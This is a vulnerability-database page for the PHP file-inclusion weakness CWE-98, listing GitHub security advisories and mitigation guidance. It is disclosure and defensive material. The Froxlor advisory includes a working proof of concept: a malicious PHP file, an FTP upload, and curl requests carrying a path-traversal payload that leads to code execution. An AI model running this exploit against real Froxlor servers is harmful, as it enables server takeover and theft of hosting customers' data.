CWE-98
AllowedImproper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
Abstraction: Variant · Status: Draft
The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.
2484 vulnerabilities reference this CWE, most recent first.
GHSA-W2GP-VCFH-VP3G
Vulnerability from github – Published: 2026-03-05 06:30 – Updated: 2026-03-06 15:31Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThemeREX Edifice edifice allows PHP Local File Inclusion.This issue affects Edifice: from n/a through <= 1.8.
{
"affected": [],
"aliases": [
"CVE-2026-28033"
],
"database_specific": {
"cwe_ids": [
"CWE-98"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-05T06:16:36Z",
"severity": "HIGH"
},
"details": "Improper Control of Filename for Include/Require Statement in PHP Program (\u0027PHP Remote File Inclusion\u0027) vulnerability in ThemeREX Edifice edifice allows PHP Local File Inclusion.This issue affects Edifice: from n/a through \u003c= 1.8.",
"id": "GHSA-w2gp-vcfh-vp3g",
"modified": "2026-03-06T15:31:28Z",
"published": "2026-03-05T06:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28033"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Theme/edifice/vulnerability/wordpress-edifice-theme-1-8-local-file-inclusion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W2R9-P43Q-3G65
Vulnerability from github – Published: 2026-03-25 18:31 – Updated: 2026-03-26 18:31Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in TieLabs Jannah jannah allows PHP Local File Inclusion.This issue affects Jannah: from n/a through <= 7.6.3.
{
"affected": [],
"aliases": [
"CVE-2026-25464"
],
"database_specific": {
"cwe_ids": [
"CWE-98"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-25T17:16:52Z",
"severity": "HIGH"
},
"details": "Improper Control of Filename for Include/Require Statement in PHP Program (\u0027PHP Remote File Inclusion\u0027) vulnerability in TieLabs Jannah jannah allows PHP Local File Inclusion.This issue affects Jannah: from n/a through \u003c= 7.6.3.",
"id": "GHSA-w2r9-p43q-3g65",
"modified": "2026-03-26T18:31:34Z",
"published": "2026-03-25T18:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25464"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Theme/jannah/vulnerability/wordpress-jannah-theme-7-6-3-local-file-inclusion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W2X2-HCW6-22P4
Vulnerability from github – Published: 2026-02-14 09:31 – Updated: 2026-02-14 09:31The Flexi Product Slider and Grid for WooCommerce plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.0.5 via the flexipsg_carousel shortcode. This is due to the theme parameter being directly concatenated into a file path without proper sanitization or validation, allowing directory traversal. This makes it possible for authenticated attackers, with Contributor-level access and above, to include and execute arbitrary PHP files on the server via the theme parameter granted they can create posts with shortcodes.
{
"affected": [],
"aliases": [
"CVE-2026-1988"
],
"database_specific": {
"cwe_ids": [
"CWE-98"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-14T07:16:12Z",
"severity": "HIGH"
},
"details": "The Flexi Product Slider and Grid for WooCommerce plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.0.5 via the `flexipsg_carousel` shortcode. This is due to the `theme` parameter being directly concatenated into a file path without proper sanitization or validation, allowing directory traversal. This makes it possible for authenticated attackers, with Contributor-level access and above, to include and execute arbitrary PHP files on the server via the `theme` parameter granted they can create posts with shortcodes.",
"id": "GHSA-w2x2-hcw6-22p4",
"modified": "2026-02-14T09:31:33Z",
"published": "2026-02-14T09:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1988"
},
{
"type": "WEB",
"url": "https://cwe.mitre.org/data/definitions/22.html"
},
{
"type": "WEB",
"url": "https://cwe.mitre.org/data/definitions/98.html"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/flexi-product-slider-grid/tags/1.0.5/includes/class-flexipsg-shortcode.php#L82"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/flexi-product-slider-grid/trunk/includes/class-flexipsg-shortcode.php#L82"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ffdd5446-5835-4976-b764-9b5c75251438?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W3MV-RJR4-WPCG
Vulnerability from github – Published: 2025-05-23 15:31 – Updated: 2026-04-01 18:35Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ApusTheme Ogami allows PHP Local File Inclusion. This issue affects Ogami: from n/a through 1.53.
{
"affected": [],
"aliases": [
"CVE-2025-31913"
],
"database_specific": {
"cwe_ids": [
"CWE-98"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-23T13:15:28Z",
"severity": "HIGH"
},
"details": "Improper Control of Filename for Include/Require Statement in PHP Program (\u0027PHP Remote File Inclusion\u0027) vulnerability in ApusTheme Ogami allows PHP Local File Inclusion. This issue affects Ogami: from n/a through 1.53.",
"id": "GHSA-w3mv-rjr4-wpcg",
"modified": "2026-04-01T18:35:13Z",
"published": "2025-05-23T15:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31913"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/theme/ogami/vulnerability/wordpress-ogami-1-53-local-file-inclusion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W4FM-V3PQ-P69H
Vulnerability from github – Published: 2025-08-20 09:30 – Updated: 2026-04-01 18:35Cross-Site Request Forgery (CSRF) vulnerability in Dourou Cookie Warning allows Cross Site Request Forgery. This issue affects Cookie Warning: from n/a through 1.3.
{
"affected": [],
"aliases": [
"CVE-2025-49426"
],
"database_specific": {
"cwe_ids": [
"CWE-352",
"CWE-98"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-20T08:15:37Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in Dourou Cookie Warning allows Cross Site Request Forgery. This issue affects Cookie Warning: from n/a through 1.3.",
"id": "GHSA-w4fm-v3pq-p69h",
"modified": "2026-04-01T18:35:54Z",
"published": "2025-08-20T09:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49426"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Theme/kitring/vulnerability/wordpress-kitring-theme-2-8-local-file-inclusion-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/cookie-warning/vulnerability/wordpress-cookie-warning-plugin-1-3-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W4GR-38PP-HP66
Vulnerability from github – Published: 2025-11-06 18:32 – Updated: 2026-01-20 15:31Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in owenr88 Simple Contact Forms simple-contact-forms allows PHP Local File Inclusion.This issue affects Simple Contact Forms: from n/a through <= 1.6.4.
{
"affected": [],
"aliases": [
"CVE-2025-60197"
],
"database_specific": {
"cwe_ids": [
"CWE-98"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-06T16:16:04Z",
"severity": "HIGH"
},
"details": "Improper Control of Filename for Include/Require Statement in PHP Program (\u0027PHP Remote File Inclusion\u0027) vulnerability in owenr88 Simple Contact Forms simple-contact-forms allows PHP Local File Inclusion.This issue affects Simple Contact Forms: from n/a through \u003c= 1.6.4.",
"id": "GHSA-w4gr-38pp-hp66",
"modified": "2026-01-20T15:31:49Z",
"published": "2025-11-06T18:32:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-60197"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/simple-contact-forms/vulnerability/wordpress-simple-contact-forms-plugin-1-6-4-local-file-inclusion-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/simple-contact-forms/vulnerability/wordpress-simple-contact-forms-plugin-1-6-4-local-file-inclusion-vulnerability"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/simple-contact-forms/vulnerability/wordpress-simple-contact-forms-plugin-1-6-4-local-file-inclusion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W4Q8-9GR4-89RV
Vulnerability from github – Published: 2025-12-18 09:30 – Updated: 2026-01-20 15:32Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Rentic rentic allows PHP Local File Inclusion.This issue affects Rentic: from n/a through <= 1.1.
{
"affected": [],
"aliases": [
"CVE-2025-53442"
],
"database_specific": {
"cwe_ids": [
"CWE-98"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-18T08:15:54Z",
"severity": "HIGH"
},
"details": "Improper Control of Filename for Include/Require Statement in PHP Program (\u0027PHP Remote File Inclusion\u0027) vulnerability in axiomthemes Rentic rentic allows PHP Local File Inclusion.This issue affects Rentic: from n/a through \u003c= 1.1.",
"id": "GHSA-w4q8-9gr4-89rv",
"modified": "2026-01-20T15:32:19Z",
"published": "2025-12-18T09:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53442"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Theme/rentic/vulnerability/wordpress-rentic-theme-1-1-local-file-inclusion-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Theme/rentic/vulnerability/wordpress-rentic-theme-1-1-local-file-inclusion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W4WW-7HFW-VFM9
Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-17 18:35Unauthenticated Local File Inclusion in Skyward <= 1.10 versions.
{
"affected": [],
"aliases": [
"CVE-2025-69164"
],
"database_specific": {
"cwe_ids": [
"CWE-98"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-17T14:17:34Z",
"severity": "HIGH"
},
"details": "Unauthenticated Local File Inclusion in Skyward \u003c= 1.10 versions.",
"id": "GHSA-w4ww-7hfw-vfm9",
"modified": "2026-06-17T18:35:54Z",
"published": "2026-06-17T18:35:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69164"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/theme/skyward/vulnerability/wordpress-skyward-theme-1-10-local-file-inclusion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W55J-394J-QGR9
Vulnerability from github – Published: 2024-06-14 06:34 – Updated: 2026-04-08 18:33The Canto plugin for WordPress is vulnerable to Remote File Inclusion in all versions up to, and including, 3.0.8 via the abspath parameter. This makes it possible for unauthenticated attackers to include remote files on the server, resulting in code execution. This required allow_url_include to be enabled on the target site in order to exploit.
{
"affected": [],
"aliases": [
"CVE-2024-4936"
],
"database_specific": {
"cwe_ids": [
"CWE-98"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-14T05:15:49Z",
"severity": "CRITICAL"
},
"details": "The Canto plugin for WordPress is vulnerable to Remote File Inclusion in all versions up to, and including, 3.0.8 via the abspath parameter. This makes it possible for unauthenticated attackers to include remote files on the server, resulting in code execution. This required allow_url_include to be enabled on the target site in order to exploit.",
"id": "GHSA-w55j-394j-qgr9",
"modified": "2026-04-08T18:33:25Z",
"published": "2024-06-14T06:34:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4936"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/canto/trunk/includes/lib/sizes.php#L15"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3105443%40canto\u0026new=3104074%40canto\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/95a68ae0-36da-499b-a09d-4c91db8aa338?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W59F-67XM-RXX7
Vulnerability from github – Published: 2026-04-16 01:02 – Updated: 2026-04-24 20:53Summary
The Froxlor API endpoint Customers.update (and Admins.update) does not validate the def_language parameter against the list of available language files. An authenticated customer can set def_language to a path traversal payload (e.g., ../../../../../var/customers/webs/customer1/evil), which is stored in the database. On subsequent requests, Language::loadLanguage() constructs a file path using this value and executes it via require, achieving arbitrary PHP code execution as the web server user.
Details
Root cause: The API and web UI have inconsistent validation for the def_language parameter.
The web UI (customer_index.php:261, admin_index.php:265) correctly validates def_language against Language::getLanguages(), which scans the lng/ directory for actual language files:
// customer_index.php:260-265
$def_language = Validate::validate(Request::post('def_language'), 'default language');
if (isset($languages[$def_language])) {
Customers::getLocal($userinfo, [
'id' => $userinfo['customerid'],
'def_language' => $def_language
])->update();
The API (Customers.php:1207, Admins.php:600) only runs Validate::validate() with the default regex /^[^\r\n\t\f\0]*$/D, which permits path traversal sequences:
// Customers.php:1167-1172 (customer branch)
} else {
// allowed parameters
$def_language = $this->getParam('def_language', true, $result['def_language']);
...
}
// Customers.php:1207 - validation (shared by admin and customer paths)
$def_language = Validate::validate($def_language, 'default language', '', '', [], true);
The tainted value is stored in the panel_customers (or panel_admins) table. On every subsequent request, it is loaded and used in two paths:
API path (ApiCommand.php:218-222):
private function initLang()
{
Language::setLanguage(Settings::Get('panel.standardlanguage'));
if ($this->getUserDetail('language') !== null && isset(Language::getLanguages()[$this->getUserDetail('language')])) {
Language::setLanguage($this->getUserDetail('language'));
} elseif ($this->getUserDetail('def_language') !== null) {
Language::setLanguage($this->getUserDetail('def_language')); // No validation
}
}
Web path (init.php:180-185):
if (CurrentUser::hasSession()) {
if (!empty(CurrentUser::getField('language')) && isset(Language::getLanguages()[CurrentUser::getField('language')])) {
Language::setLanguage(CurrentUser::getField('language'));
} else {
Language::setLanguage(CurrentUser::getField('def_language')); // No validation
}
}
The language session field is null for API requests and empty on fresh web logins, so both paths fall through to the unvalidated def_language.
File inclusion (Language.php:89-98):
private static function loadLanguage($iso): array
{
$languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);
if (!file_exists($languageFile)) {
return [];
}
$lng = require $languageFile; // Arbitrary PHP execution
With $iso = '../../../../../var/customers/webs/customer1/evil', the path resolves to /var/customers/webs/customer1/evil.lng.php, escaping the lng/ directory.
PoC
Step 1 — Upload malicious language file via FTP:
Froxlor customers have FTP access to their web directory by default (api_allowed defaults to 1 in the schema).
# Create malicious .lng.php file
echo '<?php system("id > /tmp/pwned"); return [];' > evil.lng.php
# Upload to customer web directory via FTP
ftp panel.example.com
> put evil.lng.php
The file is now at /var/customers/webs/<loginname>/evil.lng.php.
Step 2 — Set traversal payload via API:
curl -s -X POST https://panel.example.com/api \
-H 'Authorization: Basic <base64(apikey:apisecret)>' \
-d '{"command":"Customers.update","params":{"def_language":"../../../../../var/customers/webs/customer1/evil"}}'
The traversal path is stored in the database. The .lng.php suffix is appended automatically by Language::loadLanguage().
Step 3 — Trigger inclusion on next API call:
curl -s -X POST https://panel.example.com/api \
-H 'Authorization: Basic <base64(apikey:apisecret)>' \
-d '{"command":"Customers.get"}'
ApiCommand::initLang() loads def_language from the database and passes it to Language::setLanguage() → loadLanguage() → require /var/customers/webs/customer1/evil.lng.php.
Step 4 — Verify execution:
cat /tmp/pwned
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Impact
An authenticated customer can execute arbitrary PHP code as the web server user. This enables:
- Full server compromise: Read
lib/userdata.inc.phpto obtain database credentials, then access all customer data, admin credentials, and server configuration. - Lateral movement: Access other customers' databases, email, and files from the shared hosting environment.
- Persistent backdoor: Modify Froxlor source files or cron configurations to maintain access.
- Data exfiltration: Read all hosted databases and email content across the panel.
The attack is practical because Froxlor is a hosting panel where customers have FTP access by default, and API access is enabled by default (api_allowed = 1). The .lng.php suffix constraint is not a meaningful barrier since the attacker controls file creation in their web directory.
Recommended Fix
Validate def_language against the actual language file list in the API endpoints, matching the web UI behavior:
// In Customers.php, replace line 1207:
// $def_language = Validate::validate($def_language, 'default language', '', '', [], true);
// With:
$def_language = Validate::validate($def_language, 'default language', '', '', [], true);
if (!empty($def_language) && !isset(Language::getLanguages()[$def_language])) {
$def_language = Settings::Get('panel.standardlanguage');
}
Apply the same fix in Admins.php at line 600.
Additionally, add a defensive check in Language::loadLanguage() to prevent path traversal:
private static function loadLanguage($iso): array
{
// Reject path traversal attempts
if ($iso !== basename($iso) || str_contains($iso, '..')) {
return [];
}
$languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);
// ...
}
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.3.5"
},
"package": {
"ecosystem": "Packagist",
"name": "froxlor/froxlor"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41228"
],
"database_specific": {
"cwe_ids": [
"CWE-98"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T01:02:12Z",
"nvd_published_at": "2026-04-23T04:16:19Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe Froxlor API endpoint `Customers.update` (and `Admins.update`) does not validate the `def_language` parameter against the list of available language files. An authenticated customer can set `def_language` to a path traversal payload (e.g., `../../../../../var/customers/webs/customer1/evil`), which is stored in the database. On subsequent requests, `Language::loadLanguage()` constructs a file path using this value and executes it via `require`, achieving arbitrary PHP code execution as the web server user.\n\n## Details\n\n**Root cause:** The API and web UI have inconsistent validation for the `def_language` parameter.\n\nThe **web UI** (`customer_index.php:261`, `admin_index.php:265`) correctly validates `def_language` against `Language::getLanguages()`, which scans the `lng/` directory for actual language files:\n\n```php\n// customer_index.php:260-265\n$def_language = Validate::validate(Request::post(\u0027def_language\u0027), \u0027default language\u0027);\nif (isset($languages[$def_language])) {\n Customers::getLocal($userinfo, [\n \u0027id\u0027 =\u003e $userinfo[\u0027customerid\u0027],\n \u0027def_language\u0027 =\u003e $def_language\n ])-\u003eupdate();\n```\n\nThe **API** (`Customers.php:1207`, `Admins.php:600`) only runs `Validate::validate()` with the default regex `/^[^\\r\\n\\t\\f\\0]*$/D`, which permits path traversal sequences:\n\n```php\n// Customers.php:1167-1172 (customer branch)\n} else {\n // allowed parameters\n $def_language = $this-\u003egetParam(\u0027def_language\u0027, true, $result[\u0027def_language\u0027]);\n ...\n}\n// Customers.php:1207 - validation (shared by admin and customer paths)\n$def_language = Validate::validate($def_language, \u0027default language\u0027, \u0027\u0027, \u0027\u0027, [], true);\n```\n\nThe tainted value is stored in the `panel_customers` (or `panel_admins`) table. On every subsequent request, it is loaded and used in two paths:\n\n**API path** (`ApiCommand.php:218-222`):\n```php\nprivate function initLang()\n{\n Language::setLanguage(Settings::Get(\u0027panel.standardlanguage\u0027));\n if ($this-\u003egetUserDetail(\u0027language\u0027) !== null \u0026\u0026 isset(Language::getLanguages()[$this-\u003egetUserDetail(\u0027language\u0027)])) {\n Language::setLanguage($this-\u003egetUserDetail(\u0027language\u0027));\n } elseif ($this-\u003egetUserDetail(\u0027def_language\u0027) !== null) {\n Language::setLanguage($this-\u003egetUserDetail(\u0027def_language\u0027)); // No validation\n }\n}\n```\n\n**Web path** (`init.php:180-185`):\n```php\nif (CurrentUser::hasSession()) {\n if (!empty(CurrentUser::getField(\u0027language\u0027)) \u0026\u0026 isset(Language::getLanguages()[CurrentUser::getField(\u0027language\u0027)])) {\n Language::setLanguage(CurrentUser::getField(\u0027language\u0027));\n } else {\n Language::setLanguage(CurrentUser::getField(\u0027def_language\u0027)); // No validation\n }\n}\n```\n\nThe `language` session field is `null` for API requests and empty on fresh web logins, so both paths fall through to the unvalidated `def_language`.\n\n**File inclusion** (`Language.php:89-98`):\n```php\nprivate static function loadLanguage($iso): array\n{\n $languageFile = dirname(__DIR__, 2) . sprintf(\u0027/lng/%s.lng.php\u0027, $iso);\n if (!file_exists($languageFile)) {\n return [];\n }\n $lng = require $languageFile; // Arbitrary PHP execution\n```\n\nWith `$iso = \u0027../../../../../var/customers/webs/customer1/evil\u0027`, the path resolves to `/var/customers/webs/customer1/evil.lng.php`, escaping the `lng/` directory.\n\n## PoC\n\n**Step 1 \u2014 Upload malicious language file via FTP:**\n\nFroxlor customers have FTP access to their web directory by default (`api_allowed` defaults to `1` in the schema).\n\n```bash\n# Create malicious .lng.php file\necho \u0027\u003c?php system(\"id \u003e /tmp/pwned\"); return [];\u0027 \u003e evil.lng.php\n\n# Upload to customer web directory via FTP\nftp panel.example.com\n\u003e put evil.lng.php\n```\n\nThe file is now at `/var/customers/webs/\u003cloginname\u003e/evil.lng.php`.\n\n**Step 2 \u2014 Set traversal payload via API:**\n\n```bash\ncurl -s -X POST https://panel.example.com/api \\\n -H \u0027Authorization: Basic \u003cbase64(apikey:apisecret)\u003e\u0027 \\\n -d \u0027{\"command\":\"Customers.update\",\"params\":{\"def_language\":\"../../../../../var/customers/webs/customer1/evil\"}}\u0027\n```\n\nThe traversal path is stored in the database. The `.lng.php` suffix is appended automatically by `Language::loadLanguage()`.\n\n**Step 3 \u2014 Trigger inclusion on next API call:**\n\n```bash\ncurl -s -X POST https://panel.example.com/api \\\n -H \u0027Authorization: Basic \u003cbase64(apikey:apisecret)\u003e\u0027 \\\n -d \u0027{\"command\":\"Customers.get\"}\u0027\n```\n\n`ApiCommand::initLang()` loads `def_language` from the database and passes it to `Language::setLanguage()` \u2192 `loadLanguage()` \u2192 `require /var/customers/webs/customer1/evil.lng.php`.\n\n**Step 4 \u2014 Verify execution:**\n\n```bash\ncat /tmp/pwned\n# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n## Impact\n\nAn authenticated customer can execute arbitrary PHP code as the web server user. This enables:\n\n- **Full server compromise:** Read `lib/userdata.inc.php` to obtain database credentials, then access all customer data, admin credentials, and server configuration.\n- **Lateral movement:** Access other customers\u0027 databases, email, and files from the shared hosting environment.\n- **Persistent backdoor:** Modify Froxlor source files or cron configurations to maintain access.\n- **Data exfiltration:** Read all hosted databases and email content across the panel.\n\nThe attack is practical because Froxlor is a hosting panel where customers have FTP access by default, and API access is enabled by default (`api_allowed` = 1). The `.lng.php` suffix constraint is not a meaningful barrier since the attacker controls file creation in their web directory.\n\n## Recommended Fix\n\nValidate `def_language` against the actual language file list in the API endpoints, matching the web UI behavior:\n\n```php\n// In Customers.php, replace line 1207:\n// $def_language = Validate::validate($def_language, \u0027default language\u0027, \u0027\u0027, \u0027\u0027, [], true);\n\n// With:\n$def_language = Validate::validate($def_language, \u0027default language\u0027, \u0027\u0027, \u0027\u0027, [], true);\nif (!empty($def_language) \u0026\u0026 !isset(Language::getLanguages()[$def_language])) {\n $def_language = Settings::Get(\u0027panel.standardlanguage\u0027);\n}\n```\n\nApply the same fix in `Admins.php` at line 600.\n\nAdditionally, add a defensive check in `Language::loadLanguage()` to prevent path traversal:\n\n```php\nprivate static function loadLanguage($iso): array\n{\n // Reject path traversal attempts\n if ($iso !== basename($iso) || str_contains($iso, \u0027..\u0027)) {\n return [];\n }\n $languageFile = dirname(__DIR__, 2) . sprintf(\u0027/lng/%s.lng.php\u0027, $iso);\n // ...\n}\n```",
"id": "GHSA-w59f-67xm-rxx7",
"modified": "2026-04-24T20:53:53Z",
"published": "2026-04-16T01:02:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-w59f-67xm-rxx7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41228"
},
{
"type": "WEB",
"url": "https://github.com/froxlor/froxlor/commit/bc5e6dbaa90e6f3573129da640595e8c770e1d0c"
},
{
"type": "PACKAGE",
"url": "https://github.com/froxlor/froxlor"
},
{
"type": "WEB",
"url": "https://github.com/froxlor/froxlor/releases/tag/2.3.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Froxlor has Local File Inclusion via path traversal in API `def_language` parameter leads to Remote Code Execution"
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent lists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-6
Strategy: Attack Surface Reduction
